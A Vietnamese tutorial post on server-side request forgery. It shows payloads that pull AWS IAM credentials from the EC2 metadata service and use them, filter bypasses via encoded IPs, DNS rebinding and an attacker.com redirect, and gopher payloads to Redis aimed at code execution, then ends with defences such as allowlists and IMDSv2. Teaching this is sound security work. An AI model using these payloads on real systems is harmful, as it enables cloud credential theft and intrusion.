SSRF (Server-Side Request Forgery): Khai thác metadata AWS và bypass firewall

SSRF (Server-Side Request Forgery) cho phép attacker khiến server thực hiện HTTP request đến URL tùy ý — kể cả internal network hoặc cloud metadata service. Đây là lỗ hổng cực kỳ nghiêm trọng trong môi trường cloud.

Phát hiện SSRF

# Tìm các endpoint nhận URL
# Tham số thường gặp:
url=, path=, src=, dest=, redirect=, uri=, proxy=
fetch=, load=, image=, callback=, webhook=

# Test cơ bản với Burp Collaborator
POST /api/fetch HTTP/1.1
{"url": "https://xxxx.burpcollaborator.net/ssrf-test"}

# Nếu server gọi về Collaborator → SSRF confirmed

Khai thác AWS EC2 Metadata

# IMDSv1 — Không cần auth (legacy, vẫn phổ biến)
{"url": "http://169.254.169.254/latest/meta-data/"}

# Liệt kê metadata
{"url": "http://169.254.169.254/latest/meta-data/iam/"}
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
# → Response: EC2InstanceRole

# Lấy credentials
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2InstanceRole"}
# → Response:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "xxx...",
  "Token": "yyy...",
  "Expiration": "2026-05-16T..."
}

# Dùng credentials để access AWS
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=xxx...
export AWS_SESSION_TOKEN=yyy...
aws s3 ls
aws iam get-user

Bypass SSRF Filters

# Filter block "169.254.169.254"? Thử các cách khác:

# Decimal IP
http://2852039166/latest/meta-data/

# Octal IP
http://0251.0376.0251.0376/latest/meta-data/

# Hex IP
http://0xa9fea9fe/latest/meta-data/

# IPv6
http://[::ffff:169.254.169.254]/latest/meta-data/

# DNS rebinding — trỏ domain về 169.254.169.254
http://your-domain-that-resolves-to-169.254.169.254.com/

# URL redirect
http://attacker.com/redirect?to=http://169.254.169.254

# Gopher protocol (SSRF → port scan internal)
gopher://127.0.0.1:6379/_INFO%0D%0A

SSRF → RCE via Redis

# Nếu server có Redis không auth trên localhost
# Dùng Gopher protocol để gửi Redis commands

# Generate gopher payload
python3 redis_exploit.py

# Payload để set cron job
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall...
# (full payload phức tạp hơn, xem tool gopherus)

# gopherus — auto generate SSRF→protocol payloads
python3 gopherus.py --exploit redis

Phòng chống

# 1. Whitelist cho phép URL
ALLOWED_DOMAINS = ["api.trusted.com", "cdn.company.com"]

# 2. Block internal IPs
import ipaddress
def is_internal(ip):
    addr = ipaddress.ip_address(ip)
    return any([
        addr.is_private,
        addr.is_loopback,
        addr.is_link_local,
        str(addr).startswith("169.254.")
    ])

# 3. Bật IMDSv2 trên AWS (require token)
aws ec2 modify-instance-metadata-options \
  --http-tokens required \
  --instance-id i-xxx

# 4. Resolve DNS trước khi allow, check lại sau resolve

Leave a Comment